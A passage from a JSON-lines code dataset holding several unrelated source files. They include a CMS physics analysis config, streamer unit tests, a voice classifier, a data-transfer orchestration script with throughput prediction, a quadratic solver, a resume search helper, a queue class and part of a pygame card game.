= cms.InputTag(\"selectedPatJetsAK8PFPuppiSoftDropPacked\",\"SubJets\"),\n triggerBits = cms.InputTag(\"TriggerResults\", \"\", \"HLT\"),\n lheSrc = cms.InputTag(\"externalLHEProducer\", \"\", \"LHE\"),\n eleIdFullInfoMapToken_HLTpre = cms.InputTag(\"egmGsfElectronIDs:cutBasedElectronHLTPreselection-Summer16-V1\"),\n eleIdFullInfoMapToken_Loose = cms.InputTag(\"egmGsfElectronIDs:cutBasedElectronID-Summer16-80X-V1-loose\"),\n eleIdFullInfoMapToken_Medium = cms.InputTag(\"egmGsfElectronIDs:cutBasedElectronID-Summer16-80X-V1-medium\"),\n eleIdFullInfoMapToken_Tight = cms.InputTag(\"egmGsfElectronIDs:cutBasedElectronID-Summer16-80X-V1-tight\"),\n eleIdFullInfoMapToken_HEEP = cms.InputTag(\"egmGsfElectronIDs:heepElectronID-HEEPV70\"), \n jecPayloadsAK8chs = cms.vstring([\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L1FastJet_AK8PFchs.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L2Relative_AK8PFchs.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L3Absolute_AK8PFchs.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L2L3Residual_AK8PFchs.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_Uncertainty_AK8PFchs.txt'\n ]),\n jecPayloadsAK4chs = cms.vstring([\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L1FastJet_AK4PFchs.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L2Relative_AK4PFchs.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L3Absolute_AK4PFchs.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L2L3Residual_AK4PFchs.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_Uncertainty_AK4PFchs.txt'\n ]),\n jecPayloadsAK8pup = cms.vstring([\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L1FastJet_AK8PFPuppi.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L2Relative_AK8PFPuppi.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L3Absolute_AK8PFPuppi.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L2L3Residual_AK8PFPuppi.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_Uncertainty_AK8PFPuppi.txt'\n ]),\n jecPayloadsAK4pup = cms.vstring([\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L1FastJet_AK4PFPuppi.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L2Relative_AK4PFPuppi.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L3Absolute_AK4PFPuppi.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_L2L3Residual_AK4PFPuppi.txt',\n JECtxtlocation+'Summer16_23Sep2016V4_MC_Uncertainty_AK4PFPuppi.txt'\n ]),\n jecPayloadsAK8chsSecondary = cms.vstring([\n '',\n '',\n '',\n '',\n ''\n ]),\n jecPayloadsAK4chsSecondary = cms.vstring([\n '',\n '',\n '',\n '',\n ''\n ]),\n jecPayloadsAK8pupSecondary = cms.vstring([\n '',\n '',\n '',\n '',\n ''\n ]),\n jecPayloadsAK4pupSecondary = cms.vstring([\n '',\n '',\n '',\n '',\n ''\n ]),\n jertextAK4 = cms.string(JERtxtlocation+'Spring16_25nsV10_MC_PtResolution_AK4PFchs.txt'),\n jertextAK8 = cms.string(JERtxtlocation+'Spring16_25nsV10_MC_PtResolution_AK8PFchs.txt'),\n jerSFtext = cms.string(JERtxtlocation+'Spring16_25nsV10_MC_SF_AK8PFchs.txt')\n)\n\n\n#----------------------------------------------------------------------------------------\n### Out\n\n# If you want to output the newly recoconstruted jets\n# process.out = cms.OutputModule(\n# \"PoolOutputModule\",\n# fileName = cms.untracked.string('tool.root'),\n# outputCommands = cms.untracked.vstring(\n# \"keep *_selectedPatJetsAK8PFCHS_*_*\",\n# \"keep *_selectedPatJetsAK8PFCHSSoftDropPacked_*_*\",\n# \"keep *_selectedPatJetsAK8PFPuppi_*_*\",\n# \"keep *_selectedPatJetsAK8PFPuppiSoftDropPacked_*_*\"\n# )`\n# )\n# process.endpath = cms.EndPath(process.out) \n\n\nprocess.TFileService = cms.Service(\"TFileService\",\n fileName = cms.string(\"b2gtreeV5_MC_Zprime.root\"),\n closeFileFast = cms.untracked.bool(True)\n )\n\nprocess.p = cms.Path(\n process.BadChargedCandidateFilter*\n process.BadPFMuonFilter*\n process.egmGsfElectronIDSequence*\n process.fullPatMetSequence *\n process.ana\n)\n\n","sub_path":"test/run_B2GTTbarTreeMaker_Zprime_Toolbox.py","file_name":"run_B2GTTbarTreeMaker_Zprime_Toolbox.py","file_ext":"py","file_size_in_byte":14966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"60980716","text":"# -*- coding: utf-8 -*-\n\nimport mock\nfrom mock import call\nimport pytest\n\nfrom h.streamer import nsq\nfrom h.streamer import streamer\nfrom h.streamer import websocket\n\n\ndef test_process_work_queue_sends_nsq_messages_to_nsq_handle_message(session):\n message = nsq.Message(topic='foo', payload='bar')\n queue = [message]\n\n streamer.process_work_queue({}, queue, session_factory=lambda: session)\n\n nsq.handle_message.assert_called_once_with(message,\n topic_handlers=mock.ANY)\n\n\ndef test_process_work_queue_uses_appropriate_topic_handlers_for_nsq_messages(session):\n message = nsq.Message(topic='foo', payload='bar')\n queue = [message]\n\n streamer.process_work_queue({'nsq.namespace': 'wibble'},\n queue,\n session_factory=lambda: session)\n\n topic_handlers = {\n 'wibble-annotations': nsq.handle_annotation_event,\n 'wibble-user': nsq.handle_user_event,\n }\n\n nsq.handle_message.assert_called_once_with(mock.ANY,\n topic_handlers=topic_handlers)\n\n\ndef test_process_work_queue_sends_websocket_messages_to_websocket_handle_message(session):\n message = websocket.Message(socket=mock.sentinel.SOCKET, payload='bar')\n queue = [message]\n\n streamer.process_work_queue({}, queue, session_factory=lambda: session)\n\n websocket.handle_message.assert_called_once_with(message)\n\n\ndef test_process_work_queue_commits_after_each_message(session):\n message1 = websocket.Message(socket=mock.sentinel.SOCKET, payload='bar')\n message2 = nsq.Message(topic='foo', payload='bar')\n queue = [message1, message2]\n\n streamer.process_work_queue({}, queue, session_factory=lambda: session)\n\n assert session.commit.call_count == 2\n\n\ndef test_process_work_queue_rolls_back_on_handler_exception(session):\n message = nsq.Message(topic='foo', payload='bar')\n queue = [message]\n\n nsq.handle_message.side_effect = RuntimeError('explosion')\n\n streamer.process_work_queue({}, queue, session_factory=lambda: session)\n\n session.commit.assert_not_called()\n session.rollback.assert_called_once_with()\n\n\ndef test_process_work_queue_rolls_back_on_unknown_message_type(session):\n message = 'something that is not a message'\n queue = [message]\n\n streamer.process_work_queue({}, queue, session_factory=lambda: session)\n\n session.commit.assert_not_called()\n session.rollback.assert_called_once_with()\n\n\ndef test_process_work_queue_calls_close_after_commit(session):\n message = nsq.Message(topic='foo', payload='bar')\n queue = [message]\n\n streamer.process_work_queue({}, queue, session_factory=lambda: session)\n\n assert session.method_calls[-2:] == [\n call.commit(),\n call.close()\n ]\n\n\ndef test_process_work_queue_calls_close_after_rollback(session):\n message = nsq.Message(topic='foo', payload='bar')\n queue = [message]\n\n nsq.handle_message.side_effect = RuntimeError('explosion')\n\n streamer.process_work_queue({}, queue, session_factory=lambda: session)\n\n assert session.method_calls[-2:] == [\n call.rollback(),\n call.close()\n ]\n\n\n@pytest.fixture\ndef session():\n return mock.Mock(spec_set=['close', 'commit', 'execute', 'rollback'])\n\n\n@pytest.fixture(autouse=True)\ndef nsq_handle_message(request):\n patcher = mock.patch('h.streamer.nsq.handle_message')\n patcher.start()\n request.addfinalizer(patcher.stop)\n\n\n@pytest.fixture(autouse=True)\ndef websocket_handle_message(request):\n patcher = mock.patch('h.streamer.websocket.handle_message')\n patcher.start()\n request.addfinalizer(patcher.stop)\n","sub_path":"h/streamer/test/streamer_test.py","file_name":"streamer_test.py","file_ext":"py","file_size_in_byte":3672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"287358572","text":"import csv\r\nfrom scipy import stats\r\nimport numpy as np\r\nimport math\r\n\r\nRawData = open('voice.csv','r')\r\nFormattedData = list(csv.reader(RawData))\r\n\r\nTrainingData = []\r\n\r\ndef ConvertDataIntoFloat(L):\r\n Width = len(L)\r\n BlankList = []\r\n\r\n for Data in L[0:(Width-1)]:\r\n BlankList.append(float(Data))\r\n\r\n BlankList.append(L[Width-1])\r\n\r\n return BlankList\r\n\r\n\r\nfor Data in FormattedData[85:3085]:\r\n TrainingData.append(ConvertDataIntoFloat(Data))\r\n\r\n#Going to calculate MVU Estimates of Natural Parameters of Gaussian Distribution of Mean Frequency for Male and Female separately\r\n\r\nMeanFreqMale = []\r\nMeanFreqFemale = []\r\n\r\nfor Data in TrainingData:\r\n\r\n if Data[20] == 'male':\r\n MeanFreqMale.append(Data[0])\r\n else:\r\n MeanFreqFemale.append(Data[0])\r\n\r\nMVUEstimateMUMaleMeanFreq = np.mean(MeanFreqMale)\r\nMVUEstimateVARMaleMeanFreq = np.var(MeanFreqMale)\r\n\r\nMVUEstimateMUFemaleMeanFreq = np.mean(MeanFreqFemale)\r\nMVUEstimateVARFemaleMeanFreq = np.var(MeanFreqFemale)\r\n\r\nTestingData = []\r\n\r\nfor Data in FormattedData[1:85]:\r\n TestingData.append(ConvertDataIntoFloat(Data))\r\n\r\nfor Data in FormattedData[3085:3169]:\r\n TestingData.append(ConvertDataIntoFloat(Data))\r\n\r\n#Going to perform testing of Bayes Classifier\r\nCorrectCount =0\r\n\r\nfor Data in TestingData:\r\n\r\n PosteriorMale = stats.norm.pdf(Data[0],MVUEstimateMUMaleMeanFreq,math.sqrt(MVUEstimateVARMaleMeanFreq))\r\n PosteriorFemale = stats.norm.pdf(Data[0],MVUEstimateMUFemaleMeanFreq,math.sqrt(MVUEstimateVARFemaleMeanFreq))\r\n\r\n PriorMale = (PosteriorMale)/(PosteriorMale + PosteriorFemale)\r\n PriorFemale = (PosteriorFemale)/(PosteriorMale + PosteriorFemale)\r\n\r\n if PriorMale > PriorFemale and Data[20] == 'male':\r\n CorrectCount += 1\r\n\r\n elif PriorMale < PriorFemale and Data[20] == 'female':\r\n CorrectCount += 1\r\n\r\nprint(\"The accuracy of our implemented Male/Female Voice Bayes Classifier for single feature is \" + str((CorrectCount/(len(TestingData)))))\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"VC.py","file_name":"VC.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"572301565","text":"import json\nimport os\nimport datetime\nfrom .chat_processor import ChatProcessor\n\nclass JsonfileArchiveProcessor(ChatProcessor):\n def __init__(self,filepath):\n super().__init__()\n if os.path.exists(filepath):\n print('filepath is already exists!: ')\n print(' '+filepath)\n newpath=os.path.dirname(filepath) + \\\n '/'+datetime.datetime.now() \\\n .strftime('%Y-%m-%d %H-%M-%S')+'.data'\n\n print('created alternate filename:')\n print(' '+newpath)\n self.filepath = newpath\n else:\n print('filepath: '+filepath)\n self.filepath = filepath\n\n def process(self,chat_components: list):\n if chat_components:\n with open(self.filepath, mode='a', encoding = 'utf-8') as f:\n for component in chat_components:\n if component:\n chatdata = component.get('chatdata')\n for action in chatdata:\n if action:\n if action.get(\"addChatItemAction\"):\n if action[\"addChatItemAction\"][\"item\"].get(\n \"liveChatViewerEngagementMessageRenderer\"):\n continue\n s = json.dumps(action,ensure_ascii = False)\n #print(s[:200])\n f.writelines(s+'\\n')\n\n def _parsedir(self,_dir):\n if _dir[-1]=='\\\\' or _dir[-1]=='/':\n separator =''\n else:\n separator ='/'\n os.makedirs(_dir + separator, exist_ok=True)\n return _dir + separator\n\n","sub_path":"pytchat/processors/jsonfile_archive_processor.py","file_name":"jsonfile_archive_processor.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"163431288","text":"'''\nTests for the messages module.\n'''\n\nimport pytest\n\nfrom sources.core.languages import LANG\nfrom sources.core.messages import MESSAGE, _\nfrom sources.core.settings import SETTINGS\n\n\ndef test_all_language_messages_exists_for_core():\n '''\n If a language is defined in the enum LANG, then the MESSAGE dict must\n provide that language for all of its messages.\n '''\n for _, msg in MESSAGE.items():\n for idiom in LANG:\n assert idiom in msg # it exists!\n assert msg[idiom] # it is neither '' nor None\n\n@pytest.mark.parametrize('lang, phrase', [\n (LANG.EN_US, 'Division by zero is forbidden!'),\n (LANG.PT_BR, 'Divisão por zero é proibida!'),\n])\ndef test_language_div_by_zero_forbidden(lang, phrase):\n SETTINGS['LANGUAGE'] = lang\n result = _('div_by_zero_forbidden')\n assert result == phrase\n","sub_path":"sources/core/tests/test_messages.py","file_name":"test_messages.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"14307590","text":"from datetime import datetime, timedelta\nimport requests\nimport time\nimport pandas as pd\nimport numpy\nimport extractor\nimport random\nimport os\nimport real_time_prediction\nimport N_prediction\n\n\n\ndef finish_transfer(transfer_id, orchestrator, sender, receiver):\n response = requests.post('{}/wait/{}'.format(orchestrator, transfer_id))\n result = response.json()\n # print(result)\n\n cleanup(sender, receiver)\n\n\ndef cleanup(sender, receiver, retry=5):\n for i in range(0, retry):\n response = requests.get('{}/cleanup/nuttcp'.format(sender))\n if response.status_code != 200: continue\n response = requests.get('{}/cleanup/nuttcp'.format(receiver))\n if response.status_code != 200: continue\n\n response = requests.get('{}/cleanup/stress'.format(sender))\n response = requests.get('{}/cleanup/stress'.format(receiver))\n response = requests.get('{}/cleanup/fio'.format(sender))\n response = requests.get('{}/cleanup/fio'.format(receiver))\n\n return\n raise Exception('Cannot cleanup after %s tries' % retry)\n\n\ndef get_transfer(transfer_id, orchestrator):\n response = requests.get('{}/transfer/{}'.format(orchestrator, transfer_id))\n result = response.json()\n print(result)\n\n\ndef parse_nvme_usage(filename):\n df = pd.read_csv(filename, parse_dates=[0])\n df['elapsed'] = (df['Time'] - df['Time'][0]) / numpy.timedelta64(1, 's')\n\n df = df[['elapsed', 'written_mean']].astype('int32').set_index('elapsed')\n df['written_mean'] = df['written_mean'].apply(str) + 'M'\n\n return df.to_dict()['written_mean']\n\n\ndef prepare_transfer(srcdir, sender, receiver):\n result = requests.get('{}/files/{}'.format(sender, srcdir))\n files = result.json()\n # files = files[0:5000]\n file_list = [srcdir + i['name'] for i in files if i['type'] == 'file']\n dirs = [srcdir + i['name'] for i in files if i['type'] == 'dir']\n\n response = requests.post('{}/create_dir/'.format(receiver), json=dirs)\n if response.status_code != 200:\n raise Exception('failed to create dirs')\n return file_list\n\n\ndef start_transfer_nvmeof(file_list, num_workers, orchestrator, sender_id, receiver_id, duration=5):\n data = {\n 'srcfile': file_list,\n 'dstfile': file_list, # ['/dev/null'] * len(file_list),\n 'num_workers': num_workers,\n 'iomode': 'read',\n 'blocksize': 1024\n }\n\n response = requests.post('{}/transfer/fio/{}/{}'.format(orchestrator, sender_id, receiver_id),\n json=data) # error out\n result = response.json()\n assert result['result'] == True\n transfer_id = result['transfer']\n return transfer_id\n\ndef start_transfer_mrp(file_list, num_workers, orchestrator, duration=5):\n data = {\n 'srcfile': file_list,\n 'dstfile': file_list, # ['/dev/null'] * len(file_list),\n 'num_workers': num_workers,\n 'duration': duration # ,\n # 'blocksize' : 8192\n }\n\n response = requests.post('{}/transfer/nuttcp/2/1'.format(orchestrator), json=data) # error out\n result = response.json()\n assert result['result'] == True\n transfer_id = result['transfer']\n return transfer_id\n\n\ndef start_nvme_usage(nvme_usage, sender):\n data = {\n 'sequence': nvme_usage,\n 'file': 'disk0/fiotest',\n 'size': '1G',\n 'address': ''\n }\n response = requests.post('{}/receiver/stress'.format(sender), json=data)\n result = response.json()\n assert result.pop('result') == True\n\n\ndef wait_for_transfer(transfer_id, orchestrator, sender):\n while True:\n response = requests.get('{}/check/{}'.format(orchestrator, transfer_id))\n result = response.json()\n if result['Unfinished'] == 0:\n response = requests.get('{}/cleanup/stress'.format(sender))\n break\n time.sleep(30)\n\n\ndef get_realtime_data(sender, receiver, sender_instance, receiver_instance, start_time, sequence, monitor, cluster):\n df = extractor.export_data(sender, receiver, sender_instance, receiver_instance, start_time.timestamp(),\n datetime.now().timestamp(), monitor, cluster)\n\n df = update_params(df, sequence)\n\n return df\n\n\ndef update_params(df, sequence):\n indices = sorted(sequence.keys())\n for i in range(0, len(indices)):\n next_t = indices[i + 1] if i < len(indices) - 1 else (df.index[-1] - df.index[0]).seconds\n for j in sequence[indices[i]].keys():\n if j not in df:\n df[j] = numpy.NaN\n df.loc[((df.index - df.index[0]).seconds >= indices[i]) & ((df.index - df.index[0]).seconds < next_t), j] = \\\n sequence[indices[i]][j]\n return df\n\n\ndef set_limit():\n provisor = 'http://dtn-provisor.starlight.northwestern.edu'\n resp = requests.get('{}/connect'.format(provisor))\n data = {\n 'port': 'et-0/0/31',\n 'limit': 100,\n 'vlan': 555\n }\n\n # resp = requests.delete('{}/limit'.format(provisor), json=data)\n resp = requests.post('{}/limit'.format(provisor), json=data)\n print(resp)\n\n\ndef dynamic_transfer(num_workers, sequence, orchestrator, sender, receiver, sender_instance,\n receiver_instance, srcdir, monitor, cluster, sender_id, receiver_id):\n assert type(sequence) == dict\n\n nvme_usage = parse_nvme_usage('data/nvme_usage_daily.csv')\n sender_obj = requests.get('{}/DTN/{}'.format(orchestrator, 2)).json()\n receiver_obj = requests.get('{}/DTN/{}'.format(orchestrator, 1)).json()\n\n file_list = prepare_transfer(srcdir, sender, receiver)\n if cluster == 'mrp_nvmeof':\n transfer_id = start_transfer_nvmeof(file_list, num_workers, orchestrator, sender_id, receiver_id)\n else:\n transfer_id = start_transfer_mrp(file_list, num_workers, orchestrator)\n\n start_nvme_usage(nvme_usage, sender)\n\n start_time = datetime.now()\n print('transfer_id %s , start_time %s' % (transfer_id, start_time))\n\n collect_dir = 'data/real_time_data/'+str(cluster)+'/collect/' + str(sequence[0]['num_workers']) + '/'\n folder = os.path.exists(collect_dir)\n if not folder:\n os.makedirs(collect_dir)\n\n predict_dir = 'data/real_time_data/'+str(cluster)+'/predict/' + str(sequence[0]['num_workers']) + '/'\n folder_predict = os.path.exists(predict_dir)\n if not folder_predict:\n os.makedirs(predict_dir)\n\n folder_name = str(sequence[0]['num_workers']) + '_' + str(transfer_id)\n os.mkdir(os.path.join(collect_dir, folder_name))\n os.mkdir(os.path.join(predict_dir, folder_name))\n\n data_throughput = pd.DataFrame(columns=['time', 'predict_throughput'])\n if cluster == 'mrp_nvmeof':\n features = ['NVMe_total_util', 'CPU', 'Memory_used', 'NVMe_from_transfer', 'num_workers']\n else:\n features = ['NVMe_total_util', 'CPU', 'Memory_used', 'Goodput', 'num_workers']\n\n intervals = sorted(sequence.keys())\n for interval in intervals:\n if interval == 0:\n N = sequence[interval]['num_workers']\n continue\n # sleeping for the next change of N interval\n while interval > (datetime.now() - start_time).total_seconds():\n time.sleep(0.1)\n\n # getting real-time data from the start of the transfer to now.\n # You can update the sequence as you change dynamically after the transfer/id/scale api call\n print('elapsed_time %s, interval %s' % ((datetime.now() - start_time).total_seconds(), interval))\n predict_time = datetime.now()\n dataframe = get_realtime_data(sender_obj, receiver_obj, sender_instance, receiver_instance, start_time,\n sequence, monitor, cluster)\n dataframe.to_csv(collect_dir + folder_name + '/' + str(int(N)) + '_' + str(int(interval)-120) + '.csv', index=None)\n pred = pd.DataFrame(data=dataframe, columns=features)\n # print(pred)\n\n firststarttime = datetime.now()\n real_time_prediction.prediction(collect_dir + folder_name + '/' + str(int(N)) + '_' + str(int(interval)-120) + '.csv', cluster)\n firstendtime = datetime.now()\n firstuse = firstendtime - firststarttime\n print('first predition time:', firstuse.total_seconds(), 's')\n\n secondstarttime = datetime.now()\n # N, predict_throughput = G_prediction.get_N(predict_dir + folder_name + '/' + str(int(N)) + '_real.csv', cluster)\n N, predict_throughput = N_prediction.get_N(predict_dir + folder_name + '/' + str(int(N)) + '_' + str(int(interval)-120) + '_real.csv', cluster)\n secondendtime = datetime.now()\n seconduse = (secondendtime - secondstarttime).total_seconds()\n print('second predition time:', seconduse, 's')\n print('num_wokers:' + str(N))\n print('predict throughput: ', predict_throughput)\n data_throughput = data_throughput.append([{'time': predict_time, 'predict_throughput': predict_throughput}],\n ignore_index=True)\n\n data = sequence[interval]\n sequence.pop(interval)\n sequence[interval] = {'num_workers': int(N)}\n data = sequence[interval]\n response = requests.post('{}/transfer/{}/scale'.format(orchestrator, transfer_id), json=data)\n # update sequence if it is not from the data.\n if response.status_code != 200:\n print('failed to change transfer parameter')\n break\n else:\n print('Changed the parameters to %s' % data)\n\n dataframe = get_realtime_data(sender_obj, receiver_obj, sender_instance, receiver_instance, start_time,\n sequence, monitor, cluster)\n dataframe.to_csv(collect_dir + folder_name + '/' + str(int(N)) + '_' + str(int(interval)) + '.csv', index=None)\n\n data_throughput.to_csv('result/throughput/' + str(cluster) + '/predict/' + str(cluster) + '/predict_' + str(transfer_id) + '.csv',\n index=None)\n\n wait_for_transfer(transfer_id, orchestrator, sender)\n\n response = requests.get('{}/stress/poll'.format(sender), json={})\n\n return transfer_id\n\n\nif __name__ == \"__main__\":\n cluster = 'mrp'\n\n if cluster == 'prp':\n orchestrator = 'https://dtn-orchestrator-2.nautilus.optiputer.net'\n sender = 'http://dtn-sender-2.nautilus.optiputer.net'\n receiver = 'http://dtn-receiver-2.nautilus.optiputer.net'\n srcdir = 'project/'\n sender_instance = 'siderea.ucsc.edu'\n receiver_instance = 'k8s-nvme-01.ultralight.org'\n monitor = 'https://thanos.nautilus.optiputer.net'\n sender_id = 2\n receiver_id = 1\n elif cluster == 'mrp':\n orchestrator = 'http://dtn-orchestrator.starlight.northwestern.edu'\n sender = 'http://dtn-sender.starlight.northwestern.edu'\n receiver = 'http://dtn-receiver.starlight.northwestern.edu'\n srcdir = 'project/'\n sender_instance = '165.124.33.175:9100'\n receiver_instance = '131.193.183.248:9100'\n monitor = 'http://165.124.33.158:9091/'\n sender_id = 2\n receiver_id = 1\n elif cluster == 'mrp_nvmeof':\n orchestrator = 'http://dtn-orchestrator.starlight.northwestern.edu'\n sender = 'http://dtn-sender.starlight.northwestern.edu'\n receiver = 'http://dtn-receiver-nvmeof.starlight.northwestern.edu'\n srcdir = 'project/'\n sender_instance = '165.124.33.175:9100'\n receiver_instance = '131.193.183.248:9100'\n monitor = 'http://165.124.33.158:9091/'\n sender_id = 2\n receiver_id = 4\n\n else:\n raise Exception('Only prp or mrp is supported')\n\n sequence = { # time : parameters. Need to be updated dynamically for real-time data extraction\n 0: {'num_workers': 50},\n 120: {'num_workers': 50},\n 240: {'num_workers': 50},\n 360: {'num_workers': 50},\n 480: {'num_workers': 50},\n # 600: {'num_workers': 50},\n # 720: {'num_workers': 50},\n\n }\n\n cleanup(sender, receiver)\n set_limit()\n transfer_id = dynamic_transfer(50, sequence, orchestrator, sender, receiver, sender_instance,\n receiver_instance, srcdir, monitor, cluster, sender_id, receiver_id)\n\n finish_transfer(transfer_id, orchestrator, sender, receiver)\n get_transfer(transfer_id, orchestrator)\n print(sequence)\n\n\n","sub_path":"dynamic_transfer.py","file_name":"dynamic_transfer.py","file_ext":"py","file_size_in_byte":12302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"547168795","text":"#з6. Корни уравнения\nimport math\nwhile True:\n try:\n a = float(input(\"a = \"))\n b = float(input(\"b = \"))\n c = float(input(\"c = \"))\n except ValueError:\n print(\"Пожалуйста, введите корректные данные:\")\n continue\n else:\n break\nif a == 0:\n if b != 0 and c != 0:\n x1 = -(c/b)\n print(\"x = \", x1)\n elif b != 0 and c == 0:\n x1 = (0/b)\n print(\"x = \", x1)\n elif b == 0 and c != 0:\n print(\"Нет корней\")\n elif b == 0 and c == 0:\n print(\"Любое число x является корнем\")\nelif a !=0:\n if b != 0 and c != 0:\n d = (b * b) - (4 * a * c)\n if d > 0:\n x1 = (-b + (math.sqrt(d))) / (2 * a)\n print(\"x1 = \", x1)\n x2 = (-b - (math.sqrt(d))) / (2 * a)\n print(\"x2 = \", x2)\n elif d == 0:\n x1 = -b / (2 * a)\n print(\"x = \", x1)\n else:\n print(\"Уравнение имеет невещественные корни\")\n elif b != 0 and c == 0:\n x1 = 0\n print(\"x1 = \", x1)\n x2 = -b / a\n print(\"x2 = \", x2)\n elif b == 0 and c == 0:\n x1 = sqrt(0 / a)\n print(\"x = \", x1)\n elif b == 0 and c != 0:\n x1 = math.sqrt(c/a)\n x2 = -(math.sqrt(c/a))\n print(\"x1 = \", x1, \", x2 = \", x2)\n","sub_path":"practice/06/python/06.py","file_name":"06.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"539807910","text":"import numpy as np\r\ndef cosine_similarity(vec1, vec2):\r\n '''\r\n This function returns the cosine similarity of 2 vectors.\r\n :param vec1: np.array\r\n The first vector.\r\n :param vec2: np.array\r\n The second vector.\r\n :return: float\r\n The cosine similarity of the 2 vectors.\r\n '''\r\n # Getting the dot product of the 2 values.\r\n dot_product = np.dot(vec1, vec2.T)\r\n print(vec1)\r\n\r\n # Getting the norm of every vector.\r\n norm1 = np.linalg.norm(vec1, ord=2)\r\n norm2 = np.linalg.norm(vec2, ord=2)\r\n\r\n # Computing and returning the cosine similarity.\r\n return dot_product / (norm1 * norm2)\r\n\r\ndef find_top_n(vec, matrix, n=5):\r\n '''\r\n This function returns the indexes of the most similar resumes.\r\n :param vec: np.array\r\n The vector representation of the query.\r\n :param matrix: sparse matrix\r\n The sparse matrix of the vectorised resumes.\r\n :param n: int\r\n The number results to return.\r\n :return: np.array\r\n The top n indexes with the most similar resumes.\r\n '''\r\n # Creating an empty list to store the cosine similarities.\r\n cos_sim = []\r\n print('vec')\r\n print(vec)\r\n\r\n print('metrix')\r\n print(matrix)\r\n # Computing the cosine similarity of every resume with the vector representation of the query.\r\n for i in range(len(matrix.toarray())):\r\n cos_sim.append(cosine_similarity(vec, matrix[i].toarray())[0])\r\n # Returning the n most similar indexes.\r\n return np.argsort(cos_sim)[-n:]\r\n","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"592882241","text":"from node import Node\n\nclass Queue(object):\n '''Fifo data structure composed of Node objects.\n\n Attributes:\n front: Node at front of queue ready to be dequeued.\n back: Node at rear of queue, last node queued.\n length: Number of nodes in the queue.\n\n '''\n\n def __init__(self, iterable = []):\n '''Initialize queue and enqueue iterable elements.'''\n self.front = None\n self.back = None\n self.length = 0\n\n if type(iterable) is dict:\n for k,v in dict.items():\n self.enqueue({k:v})\n\n try:\n for item in iterable:\n self.enqueue(item)\n\n except TypeError:\n print('iterable must be of type .')\n \n def __repr__(self):\n '''Return Queue object.'''\n return '<{} at {}>'.format(type(self).__name__, hex(id(self)))\n\n def __str__(self):\n '''Return visualization of queue.'''\n s = '(FRONT)'\n cur = self.front\n while cur._next:\n s += ' {} =>'.format(cur.val)\n cur = cur._next\n return s + ' {} (BACK)'.format(cur)\n\n def __len__(self):\n '''Return number of items in queue.'''\n return self.length\n\n def enqueue(self,val):\n '''Add val to back of the queue.'''\n if self.back:\n self.back._next = Node(val)\n self.back = self.back._next\n else:\n self.back = Node(val)\n self.front = self.back\n\n self.length += 1\n return self.length\n\n def dequeue(self):\n '''Remove and return node at front of queue.'''\n if self.front:\n cur = self.front\n self.front = self.front._next\n self.length -= 1\n return cur\n","sub_path":"data_structures/queue/queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"246637670","text":"import sys\nimport pygame\nfrom pygame.locals import *\n\ndef check_start(active,mouse_x,mouse_y):\n for event in pygame.event.get():\n if event.type == QUIT:\n sys.exit()\n if event.type == pygame.MOUSEBUTTONDOWN:\n if 425 < mouse_x < 575 and 275 < mouse_y < 325 and active==0:\n active=1\n return active\n\ndef check_snatch(active,mouse_x,mouse_y,player_a,player_b,player_c,i,cards_count):\n for event in pygame.event.get():\n if event.type == QUIT:\n sys.exit()\n if event.type == pygame.MOUSEBUTTONDOWN:\n if 350 < mouse_x < 450 and 325 < mouse_y < 375 and active==1:\n turn(player_a,player_b,player_c)\n i.snatch=1\n i.cards.extend(cards_count)\n elif 550 < mouse_x < 650 and 325 < mouse_y < 375 and active==1:\n turn(player_a, player_b, player_c)\n if not player_a.snatch==player_b.snatch==player_c.snatch==0:\n active=2\n draw\n return active\n\ndef check_pay(active,mouse_x,mouse_y,player_a,player_b,player_c):\n for event in pygame.event.get():\n if event.type == QUIT:\n sys.exit()\n if event.type == pygame.MOUSEBUTTONDOWN:\n if 350 < mouse_x < 450 and 325 < mouse_y < 375 and active==2:\n turn(player_a,player_b,player_c)\n elif 350 < mouse_x < 450 and 325 < mouse_y < 375 and active==2:\n turn(player_a, player_b, player_c)\n\n\ndef turn(player_a,player_b,player_c):\n if player_a.turn==1:\n player_b.turn=1\n player_c.turn=2\n player_a.turn = 3\n\n elif player_b.turn==1:\n player_c.turn = 1\n player_a.turn = 3\n player_b.turn = 2\n\n\n elif player_c.turn ==1:\n player_a.turn = 1\n player_b.turn = 2\n 